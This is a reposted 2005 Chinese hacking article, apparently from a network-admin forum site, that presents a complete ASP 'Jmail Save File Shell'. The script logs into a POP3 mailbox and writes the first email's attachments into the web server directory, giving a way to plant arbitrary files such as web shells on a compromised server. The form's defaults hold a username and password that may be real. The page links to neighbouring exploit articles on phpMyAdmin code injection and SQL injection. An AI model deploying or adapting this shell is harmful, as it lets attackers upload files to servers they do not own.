用Jmail写文件进硬盘

2006-02-27 作者:bitsCN整理来源:中国网管联盟点评 投稿 收藏

本文作者：kEvin1986
文章性质：原创
发布日期：2005-08-14

网管下载dl.bitscn.com

<%
　　'codz by kEvin1986
　　User=Request.Form("User")
　　Pass=Request.Form("Pass")
　　Popserver=Request.Form("Popserver")

　　if User<>"" and Pass<>"" and Popserver<>"" then
　　　　Set objmail = CreateObject( "JMail.POP3" )
　　　　objmail.Connect User, Pass, Popserver

　　　　set objmsg=CreateObject("jmail.message")
　　　　Set objmsg = objmail.Messages.item(1)
　　　　separator = ", "
　　　　response.write "Attachment Name is: " & SaveAtta & "<br>"
　　　　objmail.Disconnect
　　End if

　　Function SaveAtta()
　　　　Set Attachments = objmsg.Attachments
　　　　separator = ", "
　　　　response.write "The size of this Attachment is: " & objmsg.size & "<br>"
　　　　For i = 0 To Attachments.Count - 1

网管论坛bbs_bitsCN_com

　　　　If i = Attachments.Count - 1 Then
　　　　　　separator = ""
　　　　End If

　　　　Set Theatta = Attachments(i)
　　　　response.write Theatta.name
　　　　Theatta.SaveToFile(Server.Mappath(".") & "\" & Theatta.name)
　　　　Response.write "Oh!Hey Guy.....That's OK!"
　　　　Next
　　End Function
%>

中国网管论坛bbs.bitsCN.com

<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method="POST">
User: <input name="User" type=text value="kevin1986"><br>
Pass: <input name="Pass" type=text value="1986lovinghuan"><br>
POP3: <input name="Popserver" type=text value="pop.163.com"><br>
<input type=submit value="Get the Attachments Of the First Mail">
</Form>
</Center>
</Body>
</Html>
网管联盟bitsCN_com

顶一下

TAGs：硬盘文件 User Popserver Pass input Set type value

上一篇：phpMyAdmin远程PHP代码注入漏洞下一篇：UPDATE注射(mysql+php)的两个模式

用Jmail写文件进硬盘

2006-02-27 作者:bitsCN整理 来源:中国网管联盟 点评 投稿 收藏

2006-02-27 作者:bitsCN整理来源:中国网管联盟点评投稿收藏